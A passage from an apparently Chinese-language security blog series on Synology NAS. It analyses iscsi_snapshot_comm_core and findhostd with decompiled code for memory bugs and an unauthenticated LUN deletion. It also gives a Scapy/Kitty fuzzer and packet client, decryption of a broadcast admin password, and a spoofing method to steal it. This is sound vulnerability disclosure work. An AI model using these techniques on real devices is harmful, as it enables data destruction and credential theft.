synocomm_base_send_msg\nLOAD:00007FFFF7DDA030 dq offset synocomm_base_recv_msg\n```\n\n在了解了大概的通信流程后,接下来将仔细看一下其中的每一步。\n\n#### 安全问题\n\n##### 非法内存访问\n\n<img src=\"images/cq674350529_iscsi_comm_step_one.png\" style=\"zoom:70%\">\n\n在阶段`1`,`iscsi_snapshot_comm_core`进程接收来自外部`socket`的数据,其最终会调用`PacketRead()`函数来完成对应的功能,部分代码如下。可以看到,在`(4)`处存在一个有符号数比较:如果`v7`为负数的话,`(4)`处的条件将会为真,同时会将`v7`赋值给`v4`。之后`v4`会作为`size`参数传入`memcpy()`, 如果`v4`为负数,后续在`(5)`处调用`memcpy()`时将会造成溢出,同时由于`size`参数过大,也会出现非法内存访问。而`v7`的值来自于`(3)`处`a2()`函数的返回值,可以看到在`(6)`处如果函数`a2()`的第三个参数为0,则会返回-1。而函数`a2()`的第三个参数来自于`(2)`处的`v6[6]`,而`v6`指向的内容为`(4)`处接收的`socket`数据。也就是说,`v6[6]`是外部可控的。因此,通过构造并发送一个伪造的数据包,可造成在`(5)`处调用`memcpy()`时出现溢出(或非法内存访问)。\n\n```c\n__int64 PacketRead(__int64 a1, signed int (__fastcall *a2)(__int64, __int64, signed __int64), void *a3, unsigned int a4)\n{\n dest = a3;\n v4 = a4; // max_length: 0x1000\n v5 = ___tzalloc(32LL, 1LL, \"synocomm_packet_cmd.c\", \"ReadPacketHeader\", 136LL);\n v6 = (_DWORD *)v5;\n if ( a2(a1, v5, 32LL) < 0 || memcmp(v6, &qword_7FFFF7DDA2B0, 8uLL) ) // (1) recv socket data\n {\n // ...\n }\n v7 = ___tzalloc(32LL, 0LL, \"synocomm_packet_cmd.c\", \"GetPacket\", 168LL);\n // ...\n v8 = v6[6]; // (2) v8 = 0\n v9 = ___tzalloc(v6[6], 0LL, \"synocomm_packet_cmd.c\", \"GetPacket\", 174LL);\n v7[1] = (const void *)v9;\n v10 = a2(a1, v9, v8); // (3) recv socket data: return -1\n *(_DWORD *)v7 = v10;\n // ...\n if ( (signed int)v4 > *(_DWORD *)v7 ) // (4) signed comparison\n v4 = *(_DWORD *)v7;\n memcpy(dest, v7[1], (signed int)v4); // (5) overflow\n // ...\n}\n\nssize_t a2(__int64 a1, void *a2, int a3)\n{\n // ...\n if ( a3 == 0 || a2 == 0LL || !a1 )\t// (6)\n result = 0xFFFFFFFFLL;\n else\n result = recv(*(_DWORD *)(a1 + 4), a2, a3, 0);\n return result;\n}\n```\n\n##### 越界读\n\n<img src=\"images/cq674350529_iscsi_comm_step_two.png\" style=\"zoom:70%\">\n\n假设我们忽略了阶段`1`中的问题,在阶段`2`,`iscsi_snapshot_comm_core`接收来自`pipe`的数据并进行解析,然后调用对应的处理函数,对应的部分代码如下。其中,在`(1)`处会读取数据并将其保存在大小为`0x1000`的缓冲区中。之后会根据读取的数据,调用类似`Handlexxx`的函数,如`HandleSendMsg()`、`HandleRecvMsg()`。根据程序中存在的某个结构体,会发现这两个函数和其他函数不太一样,比较特别。\n\n```c\nsigned __int64 StartEngCommPipeServer@<rax>(__int64 *a1@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>)\n{\n // ...\n v5 = (char *)___tzalloc(4096LL, 1LL, \"synocomm.c\", \"PipeServerHandler\", 458LL);\n while ( 1 )\n {\n v6 = (*(__int64 (__fastcall **)(__int64, char *, __int64))(*(_QWORD *)(v4 + 56) + 112LL))(v4, v5, 4096LL); // (1) recv msg\n // ...\n v7 = v5[1];\n if ( v5[1] == 1 || *v5 == 16 || *v5 == -1 )\n {\n switch ( *v5 + 1 )\n {\n case 0:\n HandleRejectMsg(v5); continue;\n // ...\n case 33:\n HandleSendMsg(v5); continue;\t\t// (2)\n case 34:\n HandleRecvMsg(v5); continue;\t\t// (3)\n case 49:\n HandleBindMsg(v5); continue;\n // ...\n```\n\n以`HandleRecvMsg()`函数为例,它会调用`AppSendControl()`。其中,函数`AppSendControl()`的第`3`个参数为`(unsigned int)(*(_DWORD *)(a1 + 76) + 84)`,而`a1`指向前面接收的数据,因此其第`3`个参数是外部可控的。\n\n```c\n__int64 HandleRecvMsg(__int64 a1)\n{\n v1 = SearchAppInLocalHostSetByUUID(a1 + 36);\n v2 = (void *)v1;\n if ( v1 )\n {\n v3 = -((int)AppSendControl(v2, a1, (unsigned int)(*(_DWORD *)(a1 + 76) + 84)) <= 0);\t// (4) controllable\n }\n // ...\n}\n```\n\n<img src=\"images/cq674350529_iscsi_comm_step_three.png\" style=\"zoom:70%\">\n\n在阶段`3`,`AppSendControl()`函数会通过`pipe`发送数据给`iscsi_snapshot_server`,其最终会调用`PacketWrite()`来完成数据的发送,部分代码如下。函数`PacketWrite()`的第`3`个参数来自于`AppSendControl()`函数的第`2`个参数,第`4`个参数来自于`AppSendControl()`函数的第`3`个参数。\n\n```c\n__int64 PacketWrite(__int64 a1, __int64 (__fastcall *a2)(__int64, void *, _QWORD), __int64 a3, unsigned int a4)\n{\n // ...\n v4 = a1;\n ptr = 0LL;\n if ( a1 && a2 && a3 && a4 )\n {\n v5 = CreatePacket(&ptr, a3, a4);\t// (1)\n v6 = ptr;\n if ( (signed int)v5 > 0 && ptr )\n {\n v7 = a2(v4, ptr, v5);\n if ( v7 >= 0 )\n v7 -= 32;\n v6 = ptr;\n }\n // ...\n```\n\n在`PacketWrite()`函数内,在`(1)`处会调用`CreatePacket()`来构建包,`CreatePacket()`函数的部分代码如下。其中,在`(2)`处先调用`tzalloc()`申请大小为`a3+32`的堆空间,在`(3)`处调用`memcpy()`将数据拷贝到指定偏移处。\n\n```c\n__int64 CreatePacket(__int64 *a1, const void *a2, int a3)\n{\n if ( a1\n && (v3 = a3 + 32,\n v4 = a3,\n v5 = (void *)___tzalloc((a3 + 32), 0LL, \"synocomm_packet_cmd.c\", \"CreatePacket\", 57LL), // (2)\n (*a1 = (__int64)v5) != 0) )\n {\n memset(v5, 0, v3);\n v6 = *a1;\n *(_QWORD *)v6 = qword_7FFFF7DDA2B0;\n v7 = *a1;\n *(_DWORD *)(v6 + 24) = v4;\n memcpy((void *)(v7 + 32), a2, v4); // (3) out-of-bounds read\n }\n // ...\n}\n```\n\n需要说明的是,在`(3)`处调用`memcpy()`时,其第`2`个参数`a2`指向前面保存接收数据的缓冲区,大小为`0x1000`,而第3个参数`v4`外部可控。因此在调用`memcpy()`时会存在如下`2`个问题:\n\n+ `v4`为一个`small large value` 如`0x1100`,由于`a2`的大小为`0x1000`,故会出现越界读;\n+ `v4`为一个`big large value` 如`0xffffff90`,由于在调用`tzalloc(a3+32)`时会出现整数上溢,造成分配的堆空间很小,而`memcpy()`的`size`参数很大,故会出现非法内存访问。\n\n因此,通过构造并发送伪造的数据包,可以造成在调用`memcpy()`时出现越界读或者非法内存访问。\n\n> 在`Pwn2Own Tokyo 2020`上,`STARLabs`团队利用`HandleSendMsg()`中的越界读漏洞,并组合其他漏洞,在群晖`DS418play`型号的`NAS`设备上实现了任意代码执行。\n\n前面提到过,`HandleSendMsg()`与`HandleRecvMsg()`和其他`Handlexxx`函数不太一样。根据下面的内容可知,只有`SendMsg`和`RecvMsg`这`2`个预定义的长度为`0`(未定义),其他都有预定义的长度,因而造成后续处理时存在上述问题。\n\n```assembly\nLOAD:00007FFFF7DDA120 dq offset aGetappipack ; \"GetAppIPAck\"\nLOAD:00007FFFF7DDA128 dq 0Ch\t; pre-defined length\nLOAD:00007FFFF7DDA130 dq 20h\nLOAD:00007FFFF7DDA138 dq offset aSendmsg ; \"SendMsg\"\nLOAD:00007FFFF7DDA140 dq 0\nLOAD:00007FFFF7DDA148 dq 21h\nLOAD:00007FFFF7DDA150 dq offset aRecvmsg ; \"RecvMsg\"\nLOAD:00007FFFF7DDA158 dq 0 ; 只有这2个未定义长度,后面对应的函数中存在漏洞\nLOAD:00007FFFF7DDA160 dq 30h\nLOAD:00007FFFF7DDA168 dq offset aFailToBind+8 ; \"Bind\"\nLOAD:00007FFFF7DDA170 dq 0D4h\t; pre-defined length\nLOAD:00007FFFF7DDA178 dq 31h\n```\n\n##### 访问控制不当\n\n<img src=\"images/cq674350529_iscsi_comm_step_four.png\" style=\"zoom:70%\">\n\n假设我们同样忽略了上述问题,在阶段`4`,`iscsi_snapshot_server`从`pipe`读取数据并进行处理,对应的代码如下。在`sub_401BA0()`中,在`(1)`处调用`CommRecvEvlp()`读取数据,在`(2)`处调用`HandleProtCommand()`。\n\n```c\nsigned __int64 sub_401BA0()\n{\n // ...\n v0 = (_QWORD *)CreateSynoCommEvlp();\n v1 = CreateSynoComm(\"ISS-SERVER\");\n // ...\n while ( 1 )\n {\n while ( 1 )\n {\n v2 = CommRecvEvlp(v1, v0); // (1) recv data\n // ...\n ExtractFromUUIDByDataPacket(*v0, v64);\n ExtractToUUIDByDataPacket(*v0, v65);\n v4 = (const char *)CommGetEvlpData(v0);\n // ...\n v5 = CommGetEvlpData(v0);\n v6 = HandleProtCommand(v1, v5, &s, v64); // (2)\n // ...\n```\n\n在`HandleProtCommand()`中,先将读取的数据转换为`json对象`,解析其中的`command`、`command_sn`和`plugin_id`等,然后根据`command`值查找对应的处理函数,并进行调用。\n\n```c\n__int64 HandleProtCommand(__int64 a1, __int64 a2, const char **a3, __int64 a4)\n{\n // ...\n v5 = GetJSONFromString(a2);\t// (3)\n // ...\n v9 = (const char *)SYNOCPBJsonGetString(v5, \"command\", 0LL);\n // ...\n v10 = 0;\n v11 = (const char *)*((_QWORD *)pCmdPatterns_ptr + 1);\n v12 = (char *)pCmdPatterns_ptr + 32;\n // ...\n v25 = (unsigned int *)((char *)pCmdPatterns_ptr + 24 * v10);\n v26 = *v25;\n if ( !(unsigned int)json_object_object_get_ex(v6, \"command\", &v33) ) v33 = 0LL;\n if ( !(unsigned int)json_object_object_get_ex(v6, \"command_sn\", &v34) ) v34 = 0LL;\n if ( !(unsigned int)json_object_object_get_ex(v6, \"plugin_id\", &v35) ) v35 = 0LL;\n if ( !(unsigned int)json_object_object_get_ex(v6, \"key\", &v36) ) v36 = 0LL;\n if ( !(unsigned int)json_object_object_get_ex(v6, \"protocol_version\", &v37) ) v37 = 0LL;\n // ...\n v38 = json_object_get_string(v33, \"protocol_version\");\n // ...\n if ( v42 && *v42 == 50 )\n {\n v29 = (*((__int64 (__fastcall **)(__int64, const char *, __int64 *, const void **, __int64))pCmdPatterns_ptr + 3 * v24 + 2))( a1, v6, &v38, &v32, a4);\t// (4)\n // ...\n\nLOAD:00007FFFF7DDA340 pCmdPatterns dq 1 ; DATA XREF: LOAD:pCmdPatterns_ptr↑o\nLOAD:00007FFFF7DDA348 dq offset aUnregister_0+2 ; \"register\"\nLOAD:00007FFFF7DDA350 dq offset HandleProtRegister\nLOAD:00007FFFF7DDA358 dq 2\nLOAD:00007FFFF7DDA360 dq offset aDisconnect+3 ; \"connect\"\nLOAD:00007FFFF7DDA368 dq offset HandleProtConnect\n; ...\nLOAD:00007FFFF7DDA3D8 dq offset aStartMirror ; \"start_mirror\"\nLOAD:00007FFFF7DDA3E0 dq offset HandleProtStartMirror\n; ...\nLOAD:00007FFFF7DDA460 dq 0Dh\nLOAD:00007FFFF7DDA468 dq offset aBadDeleteLun+4 ; \"delete_lun\"\nLOAD:00007FFFF7DDA470 dq offset HandleProtDeleteLun\n; ...\nLOAD:00007FFFF7DDA4C0 dq 11h\nLOAD:00007FFFF7DDA4C8 dq offset aTpTaskReady ; \"tp_task_ready\"\nLOAD:00007FFFF7DDA4D0 dq offset HandleProtTPTaskReady\n```\n\n根据`pCmdPatterns`的内容可知,有很多支持的`command`,如`register`、`connect`、`start_mirror`和`delete_lun`等。以`delete_lun`为例,其对应的处理函数为`HandleProtDeleteLun()`。\n\n在`HandleProtDeleteLun()`函数内,获取必要的参数后,在`(5)`处调用`SYNOiSCSILunDelete()`来删除对应的`lun`,而整个过程是无需认证的。因此通过构造并发送伪造的数据包,可实现删除设备上的`lun`,对数据造成威胁。\n\n```c\nsigned __int64 HandleProtDeleteLun(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4)\n{\n v16[0] = 0LL;\n if ( !(unsigned int)json_object_object_get_ex(a2, \"data\", v16) )\n {\n // ...\n }\n v7 = SYNOCPBJsonGetInteger(v16[0], \"type\");\n v8 = v7;\n // ...\n v9 = SYNOCPBJsonGetString(v16[0], \"lun\", 0LL);\n // ...\n v10 = v9;\n v11 = SYNOCPBGetLun(v8, v9);\n v12 = (unsigned int *)v11;\n // ...\n if ( (unsigned int)SYNOiSCSILunDelete(v11, v10) )\t\t// (5)\n {\n // ...\n```\n\n### 小结\n\n本文从局域网的视角出发,对群晖`NAS`设备上的`iscsi_snapshot_comm_core`服务进行了分析,并分享了在`iscsi_snapshot_comm_core`与`iscsi_snapshot_server`之间的通信流程中发现的部分问题。当然,`iscsi_snapshot_comm_core`服务的功能比较复杂,这里只是涉及了其中很小的一块,感兴趣的读者可以对其他部分进行分析。\n\n### 相关链接\n\n+ [(Pwn2Own) Synology DiskStation Manager StartEngCommPipeServer HandleSendMsg Out-Of-Bounds Read Information Disclosure Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-21-339/)\n+ [Synology-SA-20:26 DSM](https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/263203](https://www.anquanke.com/post/id/263203)\n\n","tags":["Synology"],"categories":["IoT"]},{"title":"A Journey into Synology NAS 系列二: findhostd服务分析","url":"/2021/09/12/A-Journey-into-Synology-NAS-系列二-findhostd服务分析/","content":"\n### 前言\n\n上一篇[文章](https://cq674350529.github.io/2021/08/30/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%B8%80-%E7%BE%A4%E6%99%96NAS%E4%BB%8B%E7%BB%8D/)主要对群晖`NAS`进行了简单介绍,并给出了搭建群晖`NAS`环境的方法。在前面的基础上,本篇文章将从局域网的视角出发,对群晖`NAS`设备上开放的部分服务进行分析。由于篇幅原因,下面将重点对`findhostd`服务进行分析,介绍对应的通信机制和协议格式,并分享在其中发现的部分安全问题。\n\n<!--more -->\n\n### 服务探测\n\n由于`NAS`设备是网络可达的,假设我们与其处于同一个局域网中,首先对设备上开放的端口和服务进行探测。简单起见,这里直接通过`netstat`命令进行查看,如下。\n\n<img src=\"images/cq674350529_synology_service_probing.png\" style=\"zoom:65%\">\n\n可以看到,除了一些常见的服务如`smbd`、`nginx`、`minissdpd`和`snmpd`等,还有一些自定义的服务如`synovncrelayd`、`iscsi_snapshot_comm_core`、`synosnmpd`和`findhostd`等。与常见服务相比,这些自定义的服务可能`less tested and more vulnerable`,因此这里主要对这些自定义服务进行分析,包括`findhostd`和`iscsi_snapshot_comm_core`。\n\n### `findhostd`服务分析\n\n`findhostd`服务主要负责和`Synology Assistant`进行通信,而`Synology Assistant`则用于在局域网内搜索、配置和管理对应的`DiskStation`,比如安装`DSM`系统、设置管理员账号/密码、设置设备获取`IP`地址的方式,以及映射网络硬盘等。\n\n通过抓包分析可知,`Synology Assistant`和`findhostd`之间主要通过`9999/udp`端口(`9998/udp`、`9997/udp`)进行通信,一个简单的通信流程如下。具体地,`Synology Assistant`首先发送一个广播`query`数据包,之后`findhostd`会同时发送一个广播包和单播包作为响应。在发现对应的设备后,`Synology Assistant`可以进一步发送其他广播包如`quickconf`、`memory test`等,同样`findhostd`会发送一个广播包和单播包作为响应。\n\n<img src=\"images/cq674350529_synology_findhostd_communication.png\" style=\"zoom:80%\">\n\n抓取的部分数据包如上图右侧所示。可以看到,两者之间通过`9999/udp`端口进行通信,且数据似乎以明文方式进行传输,其中包括`mac`地址、序列号和型号等信息。\n\n#### 协议格式分析\n\n为了了解具体的协议格式,需要对`findhostd`(或`Synology Assistant`客户端)进行逆向分析和调试。经过分析可知,消息开头部分是`magic` (`\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f`),然后存在一大段与协议格式相关的数据`grgfieldAttribs`,表明消息剩余部分的格式和含义。具体地,下图右侧中的每一行对应结构`data_chunk`,其包含6个字段。其中,`pkt_id`字段表明对应数据的含义,如数据包类型、用户名、`mac`地址等;`offset`字段对应将数据放到内部缓冲区的起始偏移;`max_length`字段则表示对应数据的最大长度。\n\n<img src=\"images/cq674350529_synology_field_attribs.png\" style=\"zoom:60%\">\n\n根据上述信息,可以将数据包按下图格式进行解析。具体地,消息开头部分为`magic` (`\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f`),后面的部分由一系列的`TLV`组成,`TLV`分别对应`pkt_id`、`data_length`和`data`。\n\n<img src=\"images/cq674350529_synology_findhostd_message_format.png\" style=\"zoom:70%\">\n\n进一步地,为了更方便地对数据包格式进行分析,编写了一个`wireshark`协议解析插件[syno_finder](https://github.com/cq674350529/pocs_slides/tree/master/scripts/wireshark_plugins/syno_finder),便于在`wireshark`中直接对数据包进行解析,效果如下图所示。\n\n<img src=\"images/cq674350529_syno_finder_example.png\" style=\"zoom:80%\">\n\n需要说明的是,在较新版本的`Synology Assistant`和`DSM`中,增加了对数据包加密的支持(因为其中可能会包含敏感信息)。对应地,存在两个`magic`,分别用于标识明文消息和密文消息。同时,引入了几个新的`pkt_id`,用于传递与加解密相关的参数。\n\n```c\n// magic\n#define magic_plain “\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f”\n#define magic_encrypted “\\x12\\x34\\x55\\x66\\x53\\x59\\x4e\\x4f” // introduced recently\n\n// new added\n000000c3 00000001 00002f48 00000004 00000000 00000000 # support_onsite_tool\n000000c4 00000000 00002f4c 00000041 00000000 00000000 # public key\n000000c5 00000001 00002f90 00000004 00000000 00000000 # randombytes\n000000c6 00000001 00002f94 00000004 00000000 00000000\n```\n\n#### 协议fuzzing\n\n在了解了协议的格式之后,为了测试协议解析代码的健壮性,很自然地会想到采用`fuzz`的方式。这里采用`Kitty`和`Scapy`框架,来快速构建一个基于生成的黑盒`fuzzer`。`Scapy`是一个强大的交互式数据包处理程序,借助它可以方便快速地定义对应的协议格式,示例如下。\n\n```python\nclass IDPacket(Packet):\n fields_desc = [\n XByteField('id', 0x01),\n FieldLenField('length', None, length_of='value', fmt='B', adjust=lambda pkt,x:x),\n StrLenField('value', '\\x01\\x00\\x00\\x00', length_from=lambda x:x.length)\n ]\n\n # ...\n\n def post_build(self, pkt, pay):\n if pkt[1] != 4 and pkt[1] != 0xff:\n packet_max_len = self._get_item_max_len(pkt[0])\n if len(pkt[2:]) >= packet_max_len:\n if packet_max_len == 0:\n pkt = bytes([pkt[0], 0])\n else:\n pkt = bytes([pkt[0], packet_max_len-1])+ pkt[2:2+packet_max_len]\n return pkt + pay\n\nclass FindHostPacket(Packet):\n fields_desc = [\n StrLenField('magic_plain', '\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f'),\n PacketListField('id_packets', [], IDPacket)\n ]\n```\n\n[Kitty](https://github.com/cisco-sas/kitty)是一个开源、模块化且易于扩展的`fuzz`框架,灵感来自于`Sulley`和`Peach Fuzzer`。基于前面定义的协议格式,借助`Kitty`框架,可以快速地构建一个基于生成的黑盒`fuzzer`。另外,考虑到`findhostd`和`Synology Assistant`之间的通信机制,可以同时对两端进行`fuzz`。\n\n```python\nhost = '<broadcast>'\nport = 9999\nRANDSEED = 0x11223344\n\npacket_id_a4 = qh_nas_protocols.IDPacket(id=0xa4, value='\\x00\\x00\\x02\\x01')\n# ...\npacket_id_2a = qh_nas_protocols.IDPacket(id=0x2a, value=RandBin(size=240))\n# ...\npakcet_id_rand1 = qh_nas_protocols.IDPacket(id=RandByte(), value=RandBin(size=0xff))\npakcet_id_rand2 = qh_nas_protocols.IDPacket(id=RandChoice(*qh_nas_protocols.PACKET_IDS), value=RandBin(size=0xff))\n\nfindhost_packet = qh_nas_protocols.FindHostPacket(id_packets=[packet_id_a4, packet_id_2a, ..., packet_id_rand1, packet_id_rand2])\n\nfindhost_template = Template(name='template_1', fields=[ScapyField(findhost_packet, name='scapy_1', seed=RANDSEED, fuzz_count=100000)])\n\nmodel = GraphModel()\nmodel.connect(findhost_template)\n\ntarget = UdpTarget(name='qh_nas', host=host, port=port, timeout=2)\n\nfuzzer = ServerFuzzer()\nfuzzer.set_interface(WebInterface(host='0.0.0.0', port=26001))\nfuzzer.set_model(model)\nfuzzer.set_target(target)\nfuzzer.start()\n```\n\n此外,基于前面定义好的协议格式,也可以实现一个简易的`Synology Assistant`客户端。\n\n```python\nclass DSAssistantClient:\n # ...\n def add_pkt_field(self, pkt_id, value):\n self.pkt_fields.append(qh_nas_protocols.IDPacket(id=pkt_id, value=value))\n \n def clear_pkt_fields(self):\n self.pkt_fields = []\n \n def find_target_nas(self):\n self.clear_pkt_fields()\n\n self.add_pkt_field(0xa4, '\\x00\\x00\\x02\\x01')\n self.add_pkt_field(0xa6, '\\x78\\x00\\x00\\x00')\n self.add_pkt_field(0x01, p32(0x1))\t# packet type\n # ...\n self.add_pkt_field(0xb9, '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n self.add_pkt_field(0x7c, '00:50:56:c0:00:08')\n\n self.build_send_packet()\n\n def quick_conf(self):\n self.clear_pkt_fields()\n\n self.add_pkt_field(0xa4, '\\x00\\x00\\x02\\x01')\n self.add_pkt_field(0xa6, '\\x78\\x00\\x00\\x00')\n self.add_pkt_field(0x01, p32(0x4))\t# packet type\n self.add_pkt_field(0x20, p32(0x1))\t# packet subtype\n\n self.add_pkt_field(0x19, '00:11:32:8f:64:3b')\n self.add_pkt_field(0x2a, 'BnvPxUcU5P1nE01UG07BTUen1XPPKPZX')\n self.add_pkt_field(0x21, 'NAS_NEW')\n # ...\n self.add_pkt_field(0xb9, \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n # ...\n self.add_pkt_field(0x7c, \"00:50:56:c0:00:08\")\n\n self.build_send_packet()\n \n # ...\n\nif __name__ == \"__main__\":\n ds_assistant = DSAssistantClient(\"ds_assistant\")\n ds_assistant.find_target_nas()\n # ...\n```\n\n#### 安全问题\n\n##### 密码泄露\n\n前面提到,`pkt_id`字段表明对应数据的含义,如数据包类型、用户名、`mac`地址等。其中,`pkt_id`为`0x1`时对应的值表示整个数据包的类型,常见的数据包类型如下。其中,`netsetting`、`quickconf`和`memory test`数据包中包含加密后的管理员密码信息,对应的`pkt_id`为`0x2a`。\n\n<img src=\"images/cq674350529_synology_findhostd_pkt_id_meaning.png\" style=\"zoom:60%\">\n\n<img src=\"images/cq674350529_synology_quickconf_sample.png\" style=\"zoom:80%\">\n\n以`quickconf`数据包为例,如上图所示。可以看到,`pkt_id`为`0x1`时对应的值为`0x4`,同时`pkt_id`为`0x2a`时对应的内容为`BnvPxUcU5P1nE01UG07BTUen1XPPKPZX`。通过逆向分析可知,函数`MatrixDecode()`用于对加密后的密码进行解密。因此,可以很容易地获取到管理员的明文密码。\n\n```shell\n~/DSM_DS3617xs_15284/hda1$ sudo chroot . ./call_export_func -d BnvPxUcU5P1nE01UG07BTUen1XPPKPZX\nMatrixDecode(BnvPxUcU5P1nE01UG07BTUen1XPPKPZX) result: HITB2021AMS\n```\n\n由于`Synology Assistant`和`findhostd`之间以广播的方式进行通信,且数据包以明文形式进行传输,在某些情形下,通过监听广播数据包,局域网内的用户可以很容易地获取到管理员的明文密码。\n\n##### 密码窃取\n\n在对`findhostd`进行`fuzz`的过程中,注意到`Synology Assistant`中显示的`DiskStation`状态变为了`\"Not configured\"`。难道是某些畸形数据包对`DiskStation`进行了重置?经过分析后发现,是由于某些数据包欺骗了`Synology Assistant`:`DiskStation`是正常的,而`Synology Assistant`却认为其处于未配置状态。\n\n<img src=\"images/cq674350529_synology_assistant_not_configured.png\">\n\n通常情况下,管理员会选择通过`Synology Assistant`对设备进行重新配置,并设置之前用过的用户名和密码。此时,由于`Synology Assistant`和`findhostd`之间以广播的方式进行通信,且数据包以明文形式进行传输,故密码泄露问题又出现了。因此,在某些情形下,通过发送特定的广播数据包,局域网内的用户可以欺骗管理员对`DiskStation`进行\"重新配置\",通过监听局域网内的广播数据包,从而窃取管理员的明文密码。另外,即使`Synology Assistant`和`DSM`版本都支持通信加密,由于向下兼容性,这种方式针对最新的版本仍然适用。\n\n##### null byte off-by-one\n\n这个问题同样也和`Synology Assistant`有关。在`fuzz`的过程中,发现`Synology Assistant`中显示的一些内容比较奇怪。其中,`\"%n\"`、`\"%x\"`和`\"%p\"`等是针对`string`类型预置的一些`fuzz`元素。注意到,在`\"Server name\"`中显示的内容除了`\"%n\"`之外,尾部还有一些额外的内容如`\"00:11:32:8Fxxx\"`,这些多余的内容对应的是`\"MAC address\"`。正常情况下,`\"MAC address\"`对应的内容不会显示到`\"Server name\"`中。\n\n<img src=\"images/cq674350529_synology_assistant_weird_behavior.png\">\n\n通过对`6.1-15030`版本的`DSAssistant.exe`进行分析和调试,函数`sub_1272E10()`负责对`string`类型的数据进行处理,将其从接收的数据包中拷贝到对应的内部缓冲区。前面提到过,针对每个`pkt_id`项,都有一个对应的`offset`字段和`max_length`字段。当对应数据长度的大小正好为`max_length`时,额外的`'\\x00'`在`(1)`处被追加到缓冲区末尾,而此时该`'\\x00'`其实是写入了邻近缓冲区的起始处,从而造成`null byte off-by-one`。\n\n```c\nsize_t __cdecl sub_1272E10(int a1, _BYTE *a2, int a3, int a4, size_t a5, int a6, int a7)\n{\n // ...\n v7 = (unsigned __int8)*a2;\n if ( (int)v7 > a3 - 1 )\n return 0;\n if ( !*a2 )\n return 1;\n if ( a5 < v7 )\n return 0;\n snprintf((char *)(a4 + a7 * a5), v7, \"%s\", a2 + 1);\t// 将string类型的数据拷贝到内部缓冲区的指定偏移处\n *(_BYTE *)(v7 + a4) = 0; // (1) null byte off-by-one\n return v7 + 1;\n}\n```\n\n> The `_snprintf()` function formats and stores count or fewer characters and values (including a terminating null character that is always appended **unless count is zero or the formatted string length is greater than or equal to count characters**) in buffer.\t\t\t\t\t\t// Windows\n>\n> The functions `snprintf()` and `vsnprintf()` **write at most size bytes (including the terminating null byte ('\\0'))** to str.\t// Linux\n\n因此,对于某些在内部缓冲区中处于邻近的`pkt_id`(如`0x5b`和`0x5c`),通过构造特殊的数据包,可以使得前一项内容末尾的`'\\x00'`被下一项内容覆盖,从而可能会泄露邻近缓冲区中的内容。\n\n```\n pkt_id offset max_len\n0000005a 00000000 00000aa8 00000080 00000000 00000000\n0000005b 00000000 00000b28 00000080 00000000 00000000\t<===\n0000005c 00000000 00000ba8 00000004 00000000 00000000\n```\n\n### 小结\n\n本文从局域网的视角出发,对群晖`NAS`设备上的`findhostd`服务进行了分析,包括`Synology Assistant`与`findhostd`之间的通信机制、`syno_finder`协议格式的解析、协议`fuzzing`等。最后,分享了在其中发现的部分问题。\n\n### 相关链接\n\n+ [Create Wireshark Dissector in Lua](https://cq674350529.github.io/2020/09/03/Create-Wireshark-Dissector-in-Lua/)\n+ [syno_finder](https://github.com/cq674350529/pocs_slides/tree/master/scripts/wireshark_plugins/syno_finder)\n+ [Kitty Fuzzing Framework](https://github.com/cisco-sas/kitty)\n+ [Synology-SA-19:38 Synology Assistant](https://www.synology.cn/zh-cn/security/advisory/Synology_SA_19_38)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/251909](https://www.anquanke.com/post/id/251909)","tags":["Synology"],"categories":["IoT"]},{"title":"A Journey into Synology NAS 系列一: 群晖NAS介绍","url":"/2021/08/30/A-Journey-into-Synology-NAS-系列一-群晖NAS介绍/","content":"\n### 前言\n\n之前花过一段时间研究群晖的`NAS`设备,并发现了一些安全问题,同时该研究内容入选了安全会议`POC2019`和`HITB2021AMS`。网上关于群晖`NAS`设备安全研究的公开资料并不多,因此基于议题[《Bug Hunting in Synology NAS》](https://www.powerofcommunity.net/poc2019/Qian.pdf)和[《A Journey into Synology NAS》](https://conference.hitb.org/files/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf),将之前的一些内容展开,如果有对群晖`NAS`设备感兴趣的同学,希望对你们有所帮助。\n\n<!-- more -->\n\n本系列文章的目的是介绍一些关于群晖`NAS`设备的基本信息、请求处理的相关机制和常见攻击面等,以及实际发现的部分安全问题,让读者对群晖`NAS`设备有个大体的认识,并知道如何去对设备进行安全分析,而不会聚焦于某个具体漏洞的利用细节。本系列文章大概会分为以下几个部分:\n\n+ 群晖环境搭建\n+ 自定义服务分析,包括`findhostd`和`iscsi_snapshot_comm_core`\n+ `HTTP`请求处理流程,和常见的攻击面分析\n\n### 群晖`NAS`介绍\n\n`NAS` (`Network Attached Storage`),即网络附属存储,是一种特殊的数据存储设备,包含一些必要的器件如`RAID`、磁盘驱动器或可移动的存储介质,和内嵌的操作系统,用于将分布、独立的数据整合并集中管理,同时提供远程访问、共享、备份等功能。简单地可以理解为\"联网的磁盘阵列\",并同时具备硬盘存储和网盘存储的优势。\n\n群晖是一家致力于提供网络存储服务器(`NAS`)服务的公司,被认为是中小企业和家庭`NAS`领域的长期领导者。群晖`NAS`的主要产品线包括`DiskStation`、`FlashStation`和`RackSation`,其中`DiskStation`是适合我们日常使用的桌面型号。针对每个产品线,都提供了不同的系列来满足不同的要求。\n\n此外,群晖还提供了适用于每一个`NAS`的操作系统`DiskStation Manager` (`DSM`)。它是一个基于`Linux`的、网页界面直观的操作系统,提供了丰富的功能包括文件共享、文件同步和数据备份等,以在各个方面提供更好的灵活性和可用性。\n\n### 环境搭建\n\n在了解了群晖`NAS`的基本信息后,需要有一个目标设备来进行测试。目前,常见的有两种方式,如下。\n\n+ 直接购买一个群晖`NAS`设备,即\"白群晖\",其功能完整,比较方便配置和使用\n+ 